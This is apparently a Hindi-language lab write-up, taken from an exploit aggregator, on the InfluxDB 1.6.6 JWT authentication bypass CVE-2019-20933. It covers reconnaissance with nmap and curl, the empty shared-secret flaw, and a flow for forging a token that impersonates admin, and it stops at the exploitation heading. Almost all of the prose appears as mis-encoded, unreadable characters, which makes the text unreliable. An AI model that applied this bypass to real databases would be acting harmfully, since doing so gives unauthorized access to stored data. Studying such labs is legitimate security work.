## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DUNGSOCOOL-CVE-2019-20933
# рд▓реИрдм 5-CVE-2019-20933
# **I. рд╕рд┐рд╕реНрдЯрдо рд╡рд┐рд╢реНрд▓реЗрд╖рдг**
### **рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рдХреА рдкрд╣рдЪрд╛рди**
рдкрд░реНрдпрд╛рд╡рд░рдг рдореЗрдВ рдХреНрдпрд╛ рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рдЙрд╕рд╕реЗ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред рдореИрдВ рд╕рднреА рд╕рдХреНрд░рд┐рдп рдХрдВрдЯреЗрдирд░реЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рддрд╛ рд╣реВрдБ:
root@kitploit:~
docker ps

**рдкреАрдбрд╝рд┐рдд рдПрдХ рдПрдХрд▓ рдкреЛрд░реНрдЯ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ:`8086`**ред
рд╡рд░реНрддрдорд╛рди рдореЗрдВ, рдореЗрд░реЗ рдкрд╛рд╕ рд▓рдХреНрд╖реНрдп рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдирд╣реАрдВ рд╣реИред `docker ps` рдЖрдЙрдЯрдкреБрдЯ рд╕реЗ, рд╕рд┐рд╕реНрдЯрдо рдмрд╛рд╣реНрдп рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ рдкреЛрд░реНрдЯ `8086` рдкрд░ рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╕реЗрд╡рд╛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ рдХреА рд╕реЗрд╡рд╛ рд╕реЗ рдореИрдк рдХреА рдЧрдИ рд╣реИред рдпрд╣ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рдердорд┐рдХ рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рд╣реИред
рдЗрд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рддреБрд░рдВрдд рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рд╣рдо Nmap рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реЗрд╡рд╛ рдХреА рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдкреЛрд░реНрдЯ 8086 рдкрд░ рдХреМрди рд╕реА рд╕реЗрд╡рд╛ рдЪрд▓ рд░рд╣реА рд╣реИ:
`nmap -sV -sC -p 8086 192.168.3.137`

рд╕реНрдХреИрди рдкрд░рд┐рдгрд╛рдо рджрд┐рдЦрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдкреЛрд░реНрдЯ 8086 **InfluxDB OSS 1.6.6** рдХреА HTTP рд╕реЗрд╡рд╛ рд╣реИред рдпрд╣ рдПрдХ HTTP API рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдЬрд╛рдЧрд░ рдПрдХ рд╕рдордп-рд╢реНрд░реГрдВрдЦрд▓рд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИ, рди рдХрд┐ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рдиред
### **рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ рдХреЗ рдмрд╛рдж рд╕реЛрдЪ рд╡рд┐рд╢реНрд▓реЗрд╖рдг**
**InfluxDB** рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕ рдЯрд╛рдЗрдо рд╕реАрд░реАрдЬрд╝ рдбреЗрдЯрд╛рдмреЗрд╕ (TSDB) рд╣реИ рдЬреЛ **Go** рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИред RDBMS (рд╕рдЯреАрдХ рд▓реЗрди-рджреЗрди рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рд┐рдд) рдпрд╛ Elasticsearch (рдкрд╛рда рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рд┐рдд) рдХреЗ рд╡рд┐рдкрд░реАрдд, InfluxDB рдПрдХ рд╣реА рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд╕рд╛рде рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛: **рдмрдбрд╝реЗ рд▓реЗрдЦрди рд╡реЙрд▓реНрдпреВрдо рдХреЛ рд╕рдВрднрд╛рд▓рдирд╛ (рдЙрдЪреНрдЪ рд▓реЗрдЦрди рдереНрд░реВрдкреБрдЯ) рдФрд░ рдХрдо рд╡рд┐рд▓рдВрдмрддрд╛ рдХреЗ рд╕рд╛рде рд╕рдордп рдЕрдХреНрд╖ рдХреЗ рд╕рд╛рде рдбреЗрдЯрд╛ рдХреНрд╡реЗрд░реА рдХрд░рдирд╛ред**

рдЪреВрдВрдХрд┐ рд╕реЗрд╡рд╛ рдХреЛ **InfluxDB** рдХреЗ рд░реВрдк рдореЗрдВ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЕрдЧрд▓рд╛ рдХрджрдо рдпрд╣ рджреЗрдЦрдирд╛ рд╣реИ рдХрд┐ InfluxDB рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рд╕рд╛рде рдХреИрд╕реЗ рд╕рдВрдЪрд╛рд░ рдХрд░рддрд╛ рд╣реИред **InfluxDB v1** HTTP API рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдкреЛрд░реНрдЯ `8086` рдбрд┐рдлрд╝реЙрд▓реНрдЯ HTTP API рдкреЛрд░реНрдЯ рд╣реИред рдорд╣рддреНрд╡рдкреВрд░реНрдг рдПрдВрдбрдкреЙрдЗрдВрдЯ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:
* `/ping`: рд╕рд░реНрд╡рд░ рдХреА рдкрд░рд┐рдЪрд╛рд▓рди рд╕реНрдерд┐рддрд┐ рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИред
* `/query`: рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдпрд╛ рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП InfluxQL рдХреНрд╡реЗрд░реА рднреЗрдЬрддрд╛ рд╣реИред
* `/write`: рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕рдордп-рд╢реНрд░реГрдВрдЦрд▓рд╛ рдбреЗрдЯрд╛ рд▓рд┐рдЦрддрд╛ рд╣реИред
**тЗТ рд╕реЛрдЪ:** Nmap рджреНрд╡рд╛рд░рд╛ рд╕реЗрд╡рд╛ рдХреЛ `InfluxDB http admin 1.6.6` рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо **рдЗрд╕реЗ рдПрдХ рдорд╛рдирдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреА рддрд░рд╣ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЬрд╛рд░реА рдирд╣реАрдВ рд░рдЦрддреЗ** ред **рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди** рдХреЗ рд▓рд┐рдП, рд╣рдо рдЖрдорддреМрд░ рдкрд░ рд░реВрдЯ, рд▓реЙрдЧрд┐рди рдлреЙрд░реНрдо рдпрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, **InfluxDB** рдХреЗ рд╕рд╛рде, **рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ HTTP API рдХреЗ рднреАрддрд░ рд╣реИ** ред рдЗрд╕рд▓рд┐рдП, **рд╣рдореЗрдВ рдорд╛рдирдХ InfluxDB API рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рд┐рдЪ рдХрд░рдирд╛ рд╣реЛрдЧрд╛** рддрд╛рдХрд┐ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ API рдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдирддреАрдЬрддрди, рдЕрдЧрд▓реА рдкрд░реАрдХреНрд╖рдг рджрд┐рд╢рд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ `/` рддрдХ рдкрд╣реБрдБрдЪрдирд╛ рдирд╣реАрдВ рд╣реИ, рдмрд▓реНрдХрд┐ **InfluxDB** рдХреЗ API рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░ рд╕реАрдзреЗ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдирд╛ рд╣реИред
### **API рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдФрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд▓рдХреНрд╖реНрдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди**
#### `/ping` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреА рдЬрд╛рдБрдЪ
рдкреЛрд░реНрдЯ `8086` рдХреЛ InfluxDB HTTP API рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рдмрд╛рдж, рд╕реЗрд╡рд╛ рдХреЗ рдЪрд╛рд▓реВ рд╣реЛрдиреЗ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `/ping` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:
root@kitploit:~
curl -i <http://192.168.3.137:8086/ping>

**рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ 204 No Content** рдкреБрд╖реНрдЯрд┐ рдХрд░рддреА рд╣реИ рдХрд┐ **InfluxDB** рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред рд╣реЗрдбрд░ рдЖрдЧреЗ рд╕реЗрд╡рд╛ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ **InfluxDB OSS 1.6.6** рдХреЗ рд░реВрдк рдореЗрдВ рдкреБрд╖реНрдЯрд┐ рдХрд░рддреЗ рд╣реИрдВред
#### `/query` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЬрд╛рдБрдЪ
root@kitploit:~
curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

`/query` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ рдмрд┐рдирд╛ рд╕реАрдзреЗ рдХреНрд╡реЗрд░реА рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ рдХрд┐ **InfluxDB рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рд╣реИ** рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рднреЗрдЬреА рдЧрдИ рд╕рднреА рдЕрдирд╛рдо рдХреНрд╡реЗрд░реА рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддрд╛ рд╣реИред
рдореИрдВ рд╕реЛрдЪрдиреЗ рдкрд░ рд╕реНрд╡рд┐рдЪ рдХрд░рддрд╛ рд╣реВрдБ: рдХреНрдпрд╛ InfluxDB рд╕рдВрд╕реНрдХрд░рдг 1.6.6 рдореЗрдВ рдХреЛрдИ рднреЗрджреНрдпрддрд╛ рд╣реИ рдЬреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддрдВрддреНрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ?

рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рднреЗрджреНрдпрддрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рд╕рдВрджрд░реНрдн рджреЗрдХрд░, `1.7.6` рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ InfluxDB рд╕рдВрд╕реНрдХрд░рдг CVE-2019-20933 рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реИрдВред рдпрд╣ InfluxDB рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдлрд╝рдВрдХреНрд╢рди рдХреЗ рднреАрддрд░ рдПрдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдмрд╛рдпрдкрд╛рд╕ рднреЗрджреНрдпрддрд╛ рд╣реИ, рдЬреЛ рдЦрд╛рд▓реА рд╕рд╛рдЭрд╛ рдЧреБрдкреНрдд рдХреБрдВрдЬреА рд╡рд╛рд▓реЗ JWT рдЯреЛрдХрди рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред
рдЪреВрдВрдХрд┐ рд▓рдХреНрд╖реНрдп InfluxDB `1.6.6` рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реИ, рдЬреЛ рдкреИрдЪ рдХрд┐рдП рдЧрдП рд╕рдВрд╕реНрдХрд░рдг `1.7.6` рд╕реЗ рдХрдо рд╣реИ, рд╕реЗрд╡рд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рд╕реАрдорд╛ рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдЖрддреА рд╣реИред
рдпрд╣ рдирд┐рд╖реНрдХрд░реНрд╖ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
root@kitploit:~
рд╕реЗрд╡рд╛: InfluxDB OSS
рд╕рдВрд╕реНрдХрд░рдг: 1.6.6
рдкреНрд░рдорд╛рдгреАрдХрд░рдг: рд╕рдХреНрд╖рдо
CVE рдореИрдкрд┐рдВрдЧ: CVE-2019-20933
рдкреНрд░рднрд╛рд╡: рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдмрд╛рдпрдкрд╛рд╕
рд╕реНрдерд┐рддрд┐: рд╕рдВрд╕реНрдХрд░рдг рдЕрд╕реБрд░рдХреНрд╖рд┐рдд
**тЗТ рд╕реЛрдЪ: рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, /query рдПрдВрдбрдкреЙрдЗрдВрдЯ 401 Unauthorized рд▓реМрдЯрд╛рддрд╛ рд╣реИ,** рдЬреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддрдВрддреНрд░ рд╕рдХреНрд░рд┐рдп рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рд╣реЛрдиреЗ рдХрд╛ рдорддрд▓рдм рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рд╣реИред рдЬрдм `рд╕рдВрд╕реНрдХрд░рдг` рдХреЛ **1.6.6** рдХреЗ рд░реВрдк рдореЗрдВ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╣рдореЗрдВ рдЗрд╕реЗ рдЬреНрдЮрд╛рдд CVE рд╕реЗ рд╕рд╣рд╕рдВрдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдо рдмрддрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рд╕рдВрд╕реНрдХрд░рдг **CVE-2019-20933** рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╕реАрдорд╛ рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдЖрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ **/query рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреА рд░рдХреНрд╖рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддрдВрддреНрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ** ред рдЗрди рдкрд╣рдЪрд╛рди рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рд╢реЛрд╖рдг рдЪрд░рдг рдЙрдкрдпреБрдХреНрдд JWT рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░рдХреЗ рдФрд░ `/query` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗ рд╡рд┐рд░реБрджреНрдз рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ **CVE-2019-20933** рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реЛрдЧрд╛ред
### рднреЗрджреНрдпрддрд╛ рддрдВрддреНрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг (CVE-2019-20933)
CVE-2019-20933 рднреЗрджреНрдпрддрд╛ **InfluxDB** рдХреЗ `1.7.6` рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ `services/httpd/handler.go` рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ `authenticate` рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рд╣реЛрддреА рд╣реИред
#### InfluxDB рдореЗрдВ JWT рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддрдВрддреНрд░
**InfluxDB** HTTP API рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП **JSON Web Tokens (JWT)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдкрд░:
root@kitploit:~
Authorization: Bearer <token>
**InfluxDB** рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдЧрд╛:
1. рдЯреЛрдХрди рдХреЛ рдбреАрдХреЛрдб рдХрд░рдХреЗ **рд╣реЗрдбрд░ рдФрд░ рдкреЗрд▓реЛрдб** рдирд┐рдХрд╛рд▓реЗрдВред
2. рдЯреЛрдХрди рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП рдЧреБрдкреНрдд рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `influxdb.conf` рдлрд╝рд╛рдЗрд▓ рд╕реЗ `shared-secret` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдорд╛рди рдкрдврд╝реЗрдВред
3. рдпрджрд┐ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдорд╛рдиреНрдп рд╣реИ, рддреЛ рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджрд╛рд╡реЛрдВ рд╕реЗ `username` рдлрд╝реАрд▓реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред
#### **рджреЛрд╖**
рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ, рдпрджрд┐ JWT рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рд╣реИ рд▓реЗрдХрд┐рди `shared-secret` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЧреБрдкреНрдд рдорд╛рди рдХреЛ рдПрдХ рдЦрд╛рд▓реА рд╕реНрдЯреНрд░рд┐рдВрдЧ (`""`) рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рд╕рд┐рд╕реНрдЯрдо **JWT** рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЧреБрдкреНрдд рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╢рдХреНрддрд┐ рдХрд╛ рдкрд░реНрдпрд╛рдкреНрдд рд░реВрдк рд╕реЗ рд╕рддреНрдпрд╛рдкрди рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд░рд╣рддрд╛ рд╣реИред рдпрд╣ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ рдХрд╕реНрдЯрдо **JWT** рдмрдирд╛рдиреЗ, рдЗрд╕реЗ рдЦрд╛рд▓реА рдЧреБрдкреНрдд рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХрд░рдиреЗ, рдФрд░ рдлрд┐рд░ `username` рджрд╛рд╡реЗ рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдПрдХ рдорд╛рдиреНрдп рдЦрд╛рддреЗ рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ `admin` рдпрджрд┐ рдпрд╣ рдЦрд╛рддрд╛ рд▓реИрдм рдореЗрдВ рдореМрдЬреВрдж рд╣реИред
рдЬрдм рдпрд╣ рдЯреЛрдХрди `Authorization: Bearer <token>` рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **InfluxDB** рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрд╕реА рдЦрд╛рд▓реА рдЧреБрдкреНрдд рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдореМрдЬреВрдж рд╣реИ, рддреЛ рдЕрдиреБрд░реЛрдз рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрд╛рд╕рд╡рд░реНрдб рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдмрд┐рдирд╛ рдЕрдзрд┐рдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рд╕рдВрдХреНрд╖реЗрдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
рддрд░реНрдХ рд╕реНрддрд░ рдкрд░ рд╢реЛрд╖рдг рдкреНрд░рд╡рд╛рд╣:
root@kitploit:~
InfluxDB < 1.7.6
тЖТ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо
тЖТ рдЦрд╛рд▓реА shared-secret
тЖТ рд╣рдорд▓рд╛рд╡рд░ рдЧреБрдкреНрдд рдХреБрдВрдЬреА "" рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд JWT рдмрдирд╛рддрд╛ рд╣реИ
тЖТ Authorization: Bearer рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреЛрдХрди рднреЗрдЬрддрд╛ рд╣реИ
тЖТ рд╕рд░реНрд╡рд░ рдЯреЛрдХрди рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ
тЖТ /query рдкрд░ рдХреНрд╡реЗрд░реА рд╕рдлрд▓ рд╣реЛрддреА рд╣реИ
#### **рд╕рд╛рд░рд╛рдВрд╢**
CVE рддрдВрддреНрд░ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рдмрд╛рдж, рдХреЗрд╡рд▓ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдирд┐рд╖реНрдХрд░реНрд╖ рдирд┐рдХрд╛рд▓рдиреЗ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рд▓рдХреНрд╖реНрдп рд╕реЗ рд╕рд╣рд╕рдВрдмрдВрдзрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред
рдЗрд╕ рд╕рдордп, **CVE-2019-20933** рдХреЛ рд▓рдХреНрд╖реНрдп рдХреЗ рд▓рд┐рдП рдЕрддреНрдпрдзрд┐рдХ рдЙрдкрдпреБрдХреНрдд рдЙрдореНрдореАрджрд╡рд╛рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рд╢реЛрд╖рдг рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдПрдХ рдЦрд╛рд▓реА `shared secret` рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд **JWT** рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдЗрд╕реЗ `/query` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░ рдкреНрд░реЗрд╖рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
рдпрджрд┐ рд╕рд░реНрд╡рд░ рдЗрд╕ рдЯреЛрдХрди рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рддрднреА рд╣рдо рдпрд╣ рдирд┐рд╖реНрдХрд░реНрд╖ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ CVE рдХрд╛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ред
# **II. рд╢реЛрд╖рдг**
